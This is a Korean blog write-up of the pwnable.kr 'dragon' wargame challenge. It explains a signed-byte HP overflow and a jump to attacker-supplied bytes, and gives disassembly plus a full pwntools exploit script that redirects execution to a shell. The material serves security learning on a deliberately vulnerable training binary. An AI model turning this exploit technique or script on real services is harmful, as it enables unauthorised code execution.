본문 바로가기
[ ★ ]Study/War Game

[Rookiss] pwnable.kr dragon

by nroses-taek 2018. 11. 16.

군대에 있다보니 사진을 올리기에는 벅차다. 귀찮기도 하고


정상적인 방법으로는 죽일 수 없다. 어떻게든 해보고 싶었는데(...?) 안된다.

뭐 pwnable 이다 보니 정상적으로 죽일 수 있게 하는게 더 이상한가 싶다.


Solution


IDA나 gdb로 살펴보면 Baby, Mama의 드래곤 HP는 BYTE로 표현되는 것을 볼 수 있다.


BYTE의 표현 단위는 0~127이다.


Baby 드래곤의 데미지는 30으로 정상적으로 죽일 수 없고, 오버플로우 일으킬 수도 없다.


때문에 Mama를 보면 데미지는 10이다.


Priest 랑 Knight를 비교했을 때 Knight도 승산이 없다. 물론 오버플로우 일으킬 수 도 없다.


떄문에 Priest를 보면 3번과 2번을 번갈아 해주면 Mama의 체력이 127을 넘어가서 이길 수 있게 된다.(비정상적인 방법)



GDB FightDragon에서 이기면

Clarity! Your Mana Has Been Refreshed
But The Dragon Deals 10 Damage To You!
And The Dragon Heals 4 HP!
Well Done Hero! You Killed The Dragon!
The World Will Remember You As:


이러한 메시지를 띄운다. 그리고 이름을 입력을 받는데 SegmentFalut를 띄운다.

ulimit -c unlimited 로 파일을 보면 입력받은 4바이트로 점프하게 되는데

   0x80488bb <FightDragon+381>: call   0x8048520 <puts@plt>
   0x80488c0 <FightDragon+386>: mov    eax,DWORD PTR [ebp-0x10]
   0x80488c3 <FightDragon+389>: mov    eax,DWORD PTR [eax]
=> 0x80488c5 <FightDragon+391>: mov    edx,DWORD PTR [ebp-0x10]
   0x80488c8 <FightDragon+394>: mov    DWORD PTR [esp],edx
   0x80488cb <FightDragon+397>: call   eax


이 부분 때문이라는 것을 확인. ebp-0x10 입력 받은 값.

gdb로 system 불러오는 곳을 확인 후 payload 작성



from pwn import *

r = remote('localhost', 9004)

##call the Mama Dragon
print r.recvuntil('[ 2 ] Knight\n')
r.sendline('2')
print r.recvuntil('20 HP.\n')
r.sendline('2')
print r.recvuntil('[ 2 ] Knight\n')
r.sendline('1')

for i in range(4):
        for j in range(2):
                print r.recvuntil('You Become Temporarily Invincible.\n')
                r.sendline('3')
        print r.recvuntil('You Become Temporarily Invincible.\n')
        r.sendline('2')

print r.recvuntil("The World Will Remember You As:\n")
data = ""
data += p32(0x08048dbf)

r.sendline(data)

r.interactive()

'[ ★ ]Study > War Game' 카테고리의 다른 글

[Rookiss] pwnable.kr brain fuck(풀이중)  (0) 2018.11.05
[Rookiss] pwnable.kr simple login  (0) 2018.11.02
[Rookiss] pwnable.kr fsb  (0) 2018.10.09
[Toddler's Bottle] pwnable.kr blukat  (0) 2018.08.13
[Toddler's Bottle] pwnable.kr coin1  (0) 2018.08.12

댓글